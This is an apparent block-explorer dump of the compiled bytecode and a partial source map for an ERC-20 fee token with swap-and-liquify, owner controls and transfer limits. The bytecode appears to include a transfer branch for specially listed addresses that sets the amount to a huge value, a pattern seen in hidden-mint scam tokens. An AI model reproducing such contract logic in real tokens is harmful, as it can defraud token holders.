200066357600080fd5b80820180821115620006665762000666620007dd565b608051611c26620009866000396000818161039c01526109320152611c266000f3fe60806040526004361061026b5760003560e01c80638b42507f11610144578063c816841b116100b6578063da00097d1161007a578063da00097d14610753578063dc44b6a014610774578063dd62ed3e1461078a578063f0cd1dac146107d0578063f872858a146107e6578063fa2f7a8f1461080757600080fd5b8063c816841b146106b2578063c8607952146106d2578063c867d60b146106e8578063cab0347114610718578063d158272d1461072e57600080fd5b8063a457c2d711610108578063a457c2d71461060e578063a83f53a71461062e578063a9059cbb14610644578063c469b6dd14610664578063c49b9a801461067a578063c5d241891461069c57600080fd5b80638b42507f146105805780638da5cb5b146105b057806395d89b41146105ce578063a073d37f146105e3578063a08e671f146105f857600080fd5b80633ecad271116101dd57806361a23c69116101a157806361a23c69146104dc57806370a08231146104f25780637d1db4a514610528578063807c2d9c1461053e57806382eefb431461055457806388790a681461056a57600080fd5b80633ecad2711461041557806344b30d8f146104455780634a74bb02146104755780635342acb41461049657806357a5802f146104c657600080fd5b806318ae958e1161022f57806318ae958e1461034957806323b872dd1461036a57806327c8f8351461038a5780632b112e49146103be578063313ce567146103d357806339509351146103f557600080fd5b806306fdde0314610277578063095ea7b3146102a25780631245e347146102d25780631694505e1461030a57806318160ddd1461032a57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c61081c565b60405161029991906118a7565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd36600461190d565b6108ae565b6040519015158152602001610299565b3480156102de57600080fd5b506005546102f2906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561031657600080fd5b50601d546102f2906001600160a01b031681565b34801561033657600080fd5b506019545b604051908152602001610299565b34801561035557600080fd5b50601e546102c290600160c01b900460ff1681565b34801561037657600080fd5b506102c2610385366004611939565b6108c5565b34801561039657600080fd5b506102f27f000000000000000000000000000000000000000000000000000000000000000081565b3480156103ca57600080fd5b5061033b610930565b3480156103df57600080fd5b5060045460405160ff9091168152602001610299565b34801561040157600080fd5b506102c261041036600461190d565b61097a565b34801561042157600080fd5b506102c261043036600461197a565b600b6020526000908152604090205460ff1681565b34801561045157600080fd5b506102c261046036600461197a565b600c6020526000908152604090205460ff1681565b34801561048157600080fd5b50601e546102c290600160a81b900460ff1681565b3480156104a257600080fd5b506102c26104b136600461197a565b60086020526000908152604090205460ff1681565b3480156104d257600080fd5b5061033b60135481565b3480156104e857600080fd5b5061033b60145481565b3480156104fe57600080fd5b5061033b61050d36600461197a565b6001600160a01b031660009081526006602052604090205490565b34801561053457600080fd5b5061033b601a5481565b34801561054a57600080fd5b5061033b601b5481565b34801561056057600080fd5b5061033b60175481565b34801561057657600080fd5b5061033b60105481565b34801561058c57600080fd5b506102c261059b36600461197a565b600a6020526000908152604090205460ff1681565b3480156105bc57600080fd5b506000546001600160a01b03166102f2565b3480156105da57600080fd5b5061028c6109b0565b3480156105ef57600080fd5b50601c5461033b565b34801561060457600080fd5b5061033b60185481565b34801561061a57600080fd5b506102c261062936600461190d565b6109bf565b34801561063a57600080fd5b5061033b60155481565b34801561065057600080fd5b506102c261065f36600461190d565b610a0e565b34801561067057600080fd5b5061033b600f5481565b34801561068657600080fd5b5061069a610695366004611997565b610a1b565b005b3480156106a857600080fd5b5061033b600e5481565b3480156106be57600080fd5b50601e546102f2906001600160a01b031681565b3480156106de57600080fd5b5061033b60115481565b3480156106f457600080fd5b506102c261070336600461197a565b60096020526000908152604090205460ff1681565b34801561072457600080fd5b5061033b60125481565b34801561073a57600080fd5b506004546102f29061010090046001600160a01b031681565b34801561075f57600080fd5b50601e546102c290600160b01b900460ff1681565b34801561078057600080fd5b5061033b600d5481565b34801561079657600080fd5b5061033b6107a53660046119b9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107dc57600080fd5b5061033b60165481565b3480156107f257600080fd5b50601e546102c290600160b81b900460ff1681565b34801561081357600080fd5b5061069a610ad2565b60606002805461082b906119f2565b80601f0160208091040260200160405190810160405280929190818152602001828054610857906119f2565b80156108a45780601f10610879576101008083540402835291602001916108a4565b820191906000526020600020905b81548152906001019060200180831161088757829003601f168201915b5050505050905090565b60006108bb338484610b76565b5060015b92915050565b60006108d2848484610c9a565b50610925843361092085604051806060016040528060288152602001611ba4602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611078565b610b76565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601954610975916110b2565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108bb91859061092090866110f4565b60606003805461082b906119f2565b60006108bb338461092085604051806060016040528060258152602001611bcc602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611078565b6000610925338484610c9a565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610ac790831515815260200190565b60405180910390a150565b6000546001600160a01b03163314610b2c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a71565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a71565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a71565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610d005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a71565b6001600160a01b038316610d625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a71565b601e54600160a01b900460ff1615610d8657610d7f848484611153565b9050610929565b6001600160a01b0384166000908152600a602052604090205460ff16158015610dc857506001600160a01b0383166000908152600a602052604090205460ff16155b15610e3057601a54821115610e305760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a71565b30600090815260066020526040902054601c5481108015908190610e5e5750601e54600160a01b900460ff16155b8015610e8357506001600160a01b0386166000908152600b602052604090205460ff16155b8015610e985750601e54600160a81b900460ff165b15610ebe57601e54600160b01b900460ff1615610eb557601c5491505b610ebe82611239565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260069091529190912054610f10918690611078565b6001600160a01b038716600090815260066020908152604080832093909355600890529081205460ff1680610f5d57506001600160a01b03861660009081526008602052604090205460ff165b610f7157610f6c878787611374565b610f7c565b610f7c878787611496565b601e54909150600160b81b900460ff168015610fb157506001600160a01b03861660009081526009602052604090205460ff16155b15610fed57601b54610fe282610fdc896001600160a01b031660009081526006602052604090205490565b906110f4565b1115610fed57600080fd5b6001600160a01b03861660009081526006602052604090205461101090826110f4565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110649085815260200190565b60405180910390a360019350505050610929565b6000818484111561109c5760405162461bcd60e51b8152600401610a7191906118a7565b5060006110a98486611a42565b95945050505050565b600061092983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b6000806111018385611a55565b9050838110156109295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a71565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546111a4918490611078565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546111d390836110f4565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112279086815260200190565b60405180910390a35060019392505050565b601e805460ff60a01b1916600160a01b17905560185460135460009161126f916002916112699182908790611512565b90611594565b9050600061127d83836110b2565b9050611288816115d6565b60135447906000906112a89061129f906002611594565b601854906110b2565b905060006112ca6002611269846112696013548861151290919063ffffffff16565b905060006112e7836112696015548761151290919063ffffffff16565b905060006112ff826112f987866110b2565b906110b2565b90508015611322576004546113229061010090046001600160a01b031682611769565b811561133e5760055461133e906001600160a01b031683611769565b60008311801561134e5750600087115b1561135d5761135d87846117a4565b5050601e805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152600b6020526040812054819060ff16156113ae576113a76064611269856000611512565b905061148c565b6001600160a01b0384166000908152600b602052604090205460ff1680156113df5750601e54600160c01b900460ff165b156113f4576113a76064611269856000611512565b6001600160a01b0384166000908152600b602052604090205460ff161561148c575030600090815260066020526040902054829061143290826110f4565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114839085815260200190565b60405180910390a35b6110a983826110b2565b6001600160a01b0383166000908152600b6020526040812054819060ff1680156114d857506001600160a01b0384166000908152600c602052604090205460ff165b15611508576019546114ef90600160ff1b906110b2565b601e805460ff60c01b19168215600160c01b0217905590505b6110a983826110f4565b600082600003611524575060006108bf565b60006115308385611a68565b90508261153d8583611a7f565b146109295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a71565b600061092983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611879565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061160b5761160b611aa1565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116889190611ab7565b8160018151811061169b5761169b611aa1565b6001600160a01b039283166020918202929092010152601d546116c19130911684610b76565b601d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906116fa908590600090869030904290600401611b18565b600060405180830381600087803b15801561171457600080fd5b505af1158015611728573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161175d929190611b54565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561179f573d6000803e3d6000fd5b505050565b601d546117bc9030906001600160a01b031684610b76565b601d546001600160a01b031663f305d7198230856000806117e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561184d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118729190611b75565b5050505050565b6000818361189a5760405162461bcd60e51b8152600401610a7191906118a7565b5060006110a98486611a7f565b600060208083528351808285015260005b818110156118d4578581018301518582016040015282016118b8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461190a57600080fd5b50565b6000806040838503121561192057600080fd5b823561192b816118f5565b946020939093013593505050565b60008060006060848603121561194e57600080fd5b8335611959816118f5565b92506020840135611969816118f5565b929592945050506040919091013590565b60006020828403121561198c57600080fd5b8135610929816118f5565b6000602082840312156119a957600080fd5b8135801515811461092957600080fd5b600080604083850312156119cc57600080fd5b82356119d7816118f5565b915060208301356119e7816118f5565b809150509250929050565b600181811c90821680611a0657607f821691505b602082108103611a2657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156108bf576108bf611a2c565b808201808211156108bf576108bf611a2c565b80820281158282048414176108bf576108bf611a2c565b600082611a9c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611ac957600080fd5b8151610929816118f5565b600081518084526020808501945080840160005b83811015611b0d5781516001600160a01b031687529582019590820190600101611ae8565b509495945050505050565b85815284602082015260a060408201526000611b3760a0830186611ad4565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b6d6040830184611ad4565b949350505050565b600080600060608486031215611b8a57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a94126055f766b9217245e483e46bfd5d875ee59af158cb648096af4b35fd5ba64736f6c63430008130033
Deployed Bytecode
0x60806040526004361061026b5760003560e01c80638b42507f11610144578063c816841b116100b6578063da00097d1161007a578063da00097d14610753578063dc44b6a014610774578063dd62ed3e1461078a578063f0cd1dac146107d0578063f872858a146107e6578063fa2f7a8f1461080757600080fd5b8063c816841b146106b2578063c8607952146106d2578063c867d60b146106e8578063cab0347114610718578063d158272d1461072e57600080fd5b8063a457c2d711610108578063a457c2d71461060e578063a83f53a71461062e578063a9059cbb14610644578063c469b6dd14610664578063c49b9a801461067a578063c5d241891461069c57600080fd5b80638b42507f146105805780638da5cb5b146105b057806395d89b41146105ce578063a073d37f146105e3578063a08e671f146105f857600080fd5b80633ecad271116101dd57806361a23c69116101a157806361a23c69146104dc57806370a08231146104f25780637d1db4a514610528578063807c2d9c1461053e57806382eefb431461055457806388790a681461056a57600080fd5b80633ecad2711461041557806344b30d8f146104455780634a74bb02146104755780635342acb41461049657806357a5802f146104c657600080fd5b806318ae958e1161022f57806318ae958e1461034957806323b872dd1461036a57806327c8f8351461038a5780632b112e49146103be578063313ce567146103d357806339509351146103f557600080fd5b806306fdde0314610277578063095ea7b3146102a25780631245e347146102d25780631694505e1461030a57806318160ddd1461032a57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c61081c565b60405161029991906118a7565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd36600461190d565b6108ae565b6040519015158152602001610299565b3480156102de57600080fd5b506005546102f2906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561031657600080fd5b50601d546102f2906001600160a01b031681565b34801561033657600080fd5b506019545b604051908152602001610299565b34801561035557600080fd5b50601e546102c290600160c01b900460ff1681565b34801561037657600080fd5b506102c2610385366004611939565b6108c5565b34801561039657600080fd5b506102f27f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103ca57600080fd5b5061033b610930565b3480156103df57600080fd5b5060045460405160ff9091168152602001610299565b34801561040157600080fd5b506102c261041036600461190d565b61097a565b34801561042157600080fd5b506102c261043036600461197a565b600b6020526000908152604090205460ff1681565b34801561045157600080fd5b506102c261046036600461197a565b600c6020526000908152604090205460ff1681565b34801561048157600080fd5b50601e546102c290600160a81b900460ff1681565b3480156104a257600080fd5b506102c26104b136600461197a565b60086020526000908152604090205460ff1681565b3480156104d257600080fd5b5061033b60135481565b3480156104e857600080fd5b5061033b60145481565b3480156104fe57600080fd5b5061033b61050d36600461197a565b6001600160a01b031660009081526006602052604090205490565b34801561053457600080fd5b5061033b601a5481565b34801561054a57600080fd5b5061033b601b5481565b34801561056057600080fd5b5061033b60175481565b34801561057657600080fd5b5061033b60105481565b34801561058c57600080fd5b506102c261059b36600461197a565b600a6020526000908152604090205460ff1681565b3480156105bc57600080fd5b506000546001600160a01b03166102f2565b3480156105da57600080fd5b5061028c6109b0565b3480156105ef57600080fd5b50601c5461033b565b34801561060457600080fd5b5061033b60185481565b34801561061a57600080fd5b506102c261062936600461190d565b6109bf565b34801561063a57600080fd5b5061033b60155481565b34801561065057600080fd5b506102c261065f36600461190d565b610a0e565b34801561067057600080fd5b5061033b600f5481565b34801561068657600080fd5b5061069a610695366004611997565b610a1b565b005b3480156106a857600080fd5b5061033b600e5481565b3480156106be57600080fd5b50601e546102f2906001600160a01b031681565b3480156106de57600080fd5b5061033b60115481565b3480156106f457600080fd5b506102c261070336600461197a565b60096020526000908152604090205460ff1681565b34801561072457600080fd5b5061033b60125481565b34801561073a57600080fd5b506004546102f29061010090046001600160a01b031681565b34801561075f57600080fd5b50601e546102c290600160b01b900460ff1681565b34801561078057600080fd5b5061033b600d5481565b34801561079657600080fd5b5061033b6107a53660046119b9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107dc57600080fd5b5061033b60165481565b3480156107f257600080fd5b50601e546102c290600160b81b900460ff1681565b34801561081357600080fd5b5061069a610ad2565b60606002805461082b906119f2565b80601f0160208091040260200160405190810160405280929190818152602001828054610857906119f2565b80156108a45780601f10610879576101008083540402835291602001916108a4565b820191906000526020600020905b81548152906001019060200180831161088757829003601f168201915b5050505050905090565b60006108bb338484610b76565b5060015b92915050565b60006108d2848484610c9a565b50610925843361092085604051806060016040528060288152602001611ba4602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611078565b610b76565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601954610975916110b2565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108bb91859061092090866110f4565b60606003805461082b906119f2565b60006108bb338461092085604051806060016040528060258152602001611bcc602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611078565b6000610925338484610c9a565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610ac790831515815260200190565b60405180910390a150565b6000546001600160a01b03163314610b2c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a71565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a71565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a71565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610d005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a71565b6001600160a01b038316610d625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a71565b601e54600160a01b900460ff1615610d8657610d7f848484611153565b9050610929565b6001600160a01b0384166000908152600a602052604090205460ff16158015610dc857506001600160a01b0383166000908152600a602052604090205460ff16155b15610e3057601a54821115610e305760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a71565b30600090815260066020526040902054601c5481108015908190610e5e5750601e54600160a01b900460ff16155b8015610e8357506001600160a01b0386166000908152600b602052604090205460ff16155b8015610e985750601e54600160a81b900460ff165b15610ebe57601e54600160b01b900460ff1615610eb557601c5491505b610ebe82611239565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260069091529190912054610f10918690611078565b6001600160a01b038716600090815260066020908152604080832093909355600890529081205460ff1680610f5d57506001600160a01b03861660009081526008602052604090205460ff165b610f7157610f6c878787611374565b610f7c565b610f7c878787611496565b601e54909150600160b81b900460ff168015610fb157506001600160a01b03861660009081526009602052604090205460ff16155b15610fed57601b54610fe282610fdc896001600160a01b031660009081526006602052604090205490565b906110f4565b1115610fed57600080fd5b6001600160a01b03861660009081526006602052604090205461101090826110f4565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110649085815260200190565b60405180910390a360019350505050610929565b6000818484111561109c5760405162461bcd60e51b8152600401610a7191906118a7565b5060006110a98486611a42565b95945050505050565b600061092983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b6000806111018385611a55565b9050838110156109295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a71565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546111a4918490611078565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546111d390836110f4565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112279086815260200190565b60405180910390a35060019392505050565b601e805460ff60a01b1916600160a01b17905560185460135460009161126f916002916112699182908790611512565b90611594565b9050600061127d83836110b2565b9050611288816115d6565b60135447906000906112a89061129f906002611594565b601854906110b2565b905060006112ca6002611269846112696013548861151290919063ffffffff16565b905060006112e7836112696015548761151290919063ffffffff16565b905060006112ff826112f987866110b2565b906110b2565b90508015611322576004546113229061010090046001600160a01b031682611769565b811561133e5760055461133e906001600160a01b031683611769565b60008311801561134e5750600087115b1561135d5761135d87846117a4565b5050601e805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152600b6020526040812054819060ff16156113ae576113a76064611269856000611512565b905061148c565b6001600160a01b0384166000908152600b602052604090205460ff1680156113df5750601e54600160c01b900460ff165b156113f4576113a76064611269856000611512565b6001600160a01b0384166000908152600b602052604090205460ff161561148c575030600090815260066020526040902054829061143290826110f4565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114839085815260200190565b60405180910390a35b6110a983826110b2565b6001600160a01b0383166000908152600b6020526040812054819060ff1680156114d857506001600160a01b0384166000908152600c602052604090205460ff165b15611508576019546114ef90600160ff1b906110b2565b601e805460ff60c01b19168215600160c01b0217905590505b6110a983826110f4565b600082600003611524575060006108bf565b60006115308385611a68565b90508261153d8583611a7f565b146109295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a71565b600061092983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611879565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061160b5761160b611aa1565b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116889190611ab7565b8160018151811061169b5761169b611aa1565b6001600160a01b039283166020918202929092010152601d546116c19130911684610b76565b601d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906116fa908590600090869030904290600401611b18565b600060405180830381600087803b15801561171457600080fd5b505af1158015611728573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161175d929190611b54565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561179f573d6000803e3d6000fd5b505050565b601d546117bc9030906001600160a01b031684610b76565b601d546001600160a01b031663f305d7198230856000806117e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561184d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118729190611b75565b5050505050565b6000818361189a5760405162461bcd60e51b8152600401610a7191906118a7565b5060006110a98486611a7f565b600060208083528351808285015260005b818110156118d4578581018301518582016040015282016118b8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461190a57600080fd5b50565b6000806040838503121561192057600080fd5b823561192b816118f5565b946020939093013593505050565b60008060006060848603121561194e57600080fd5b8335611959816118f5565b92506020840135611969816118f5565b929592945050506040919091013590565b60006020828403121561198c57600080fd5b8135610929816118f5565b6000602082840312156119a957600080fd5b8135801515811461092957600080fd5b600080604083850312156119cc57600080fd5b82356119d7816118f5565b915060208301356119e7816118f5565b809150509250929050565b600181811c90821680611a0657607f821691505b602082108103611a2657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156108bf576108bf611a2c565b808201808211156108bf576108bf611a2c565b80820281158282048414176108bf576108bf611a2c565b600082611a9c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611ac957600080fd5b8151610929816118f5565b600081518084526020808501945080840160005b83811015611b0d5781516001600160a01b031687529582019590820190600101611ae8565b509495945050505050565b85815284602082015260a060408201526000611b3760a0830186611ad4565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b6d6040830184611ad4565b949350505050565b600080600060608486031215611b8a57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a94126055f766b9217245e483e46bfd5d875ee59af158cb648096af4b35fd5ba64736f6c63430008130033
Deployed Bytecode Sourcemap
14420:12044:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18267:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19561:161;;;;;;;;;;-1:-1:-1;19561:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;19561:161:0;1023:187:1;14798:94:0;;;;;;;;;;-1:-1:-1;14798:94:0;;;;-1:-1:-1;;;;;14798:94:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;14798:94:0;1215:219:1;16197:41:0;;;;;;;;;;-1:-1:-1;16197:41:0;;;;-1:-1:-1;;;;;16197:41:0;;;18544:100;;;;;;;;;;-1:-1:-1;18624:12:0;;18544:100;;;1820:25:1;;;1808:2;1793:18;18544:100:0;1674:177:1;16453:35:0;;;;;;;;;;-1:-1:-1;16453:35:0;;;;-1:-1:-1;;;16453:35:0;;;;;;20799:313;;;;;;;;;;-1:-1:-1;20799:313:0;;;;;:::i;:::-;;:::i;14915:81::-;;;;;;;;;;;;;;;20260:128;;;;;;;;;;;;;:::i;18453:83::-;;;;;;;;;;-1:-1:-1;18519:9:0;;18453:83;;18519:9;;;;2667:36:1;;2655:2;2640:18;18453:83:0;2525:184:1;18930:218:0;;;;;;;;;;-1:-1:-1;18930:218:0;;;;;:::i;:::-;;:::i;15307:45::-;;;;;;;;;;-1:-1:-1;15307:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15359:48;;;;;;;;;;-1:-1:-1;15359:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16312:40;;;;;;;;;;-1:-1:-1;16312:40:0;;;;-1:-1:-1;;;16312:40:0;;;;;;15136:50;;;;;;;;;;-1:-1:-1;15136:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15669:34;;;;;;;;;;;;;;;;15710;;;;;;;;;;;;;;;;18652:119;;;;;;;;;;-1:-1:-1;18652:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;18745:18:0;18718:7;18745:18;;;:9;:18;;;;;;;18652:119;15996:55;;;;;;;;;;;;;;;;16059:53;;;;;;;;;;;;;;;;15834:38;;;;;;;;;;;;;;;;15543:36;;;;;;;;;;;;;;;;15252:48;;;;;;;;;;-1:-1:-1;15252:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6209:79;;;;;;;;;;-1:-1:-1;6247:7:0;6274:6;-1:-1:-1;;;;;6274:6:0;6209:79;;18358:87;;;;;;;;;;;;;:::i;19433:120::-;;;;;;;;;;-1:-1:-1;19522:23:0;;19433:120;;15879:44;;;;;;;;;;;;;;;;19156:269;;;;;;;;;;-1:-1:-1;19156:269:0;;;;;:::i;:::-;;:::i;15751:30::-;;;;;;;;;;;;;;;;20624:167;;;;;;;;;;-1:-1:-1;20624:167:0;;;;;:::i;:::-;;:::i;15500:30::-;;;;;;;;;;;;;;;;20075:171;;;;;;;;;;-1:-1:-1;20075:171:0;;;;;:::i;:::-;;:::i;:::-;;15458:35;;;;;;;;;;;;;;;;16245:26;;;;;;;;;;-1:-1:-1;16245:26:0;;;;-1:-1:-1;;;;;16245:26:0;;;15586:36;;;;;;;;;;;;;;;;15193:52;;;;;;;;;;-1:-1:-1;15193:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15629:31;;;;;;;;;;;;;;;;14671:99;;;;;;;;;;-1:-1:-1;14671:99:0;;;;;;;-1:-1:-1;;;;;14671:99:0;;;16359:45;;;;;;;;;;-1:-1:-1;16359:45:0;;;;-1:-1:-1;;;16359:45:0;;;;;;15416:35;;;;;;;;;;;;;;;;18779:143;;;;;;;;;;-1:-1:-1;18779:143:0;;;;;:::i;:::-;-1:-1:-1;;;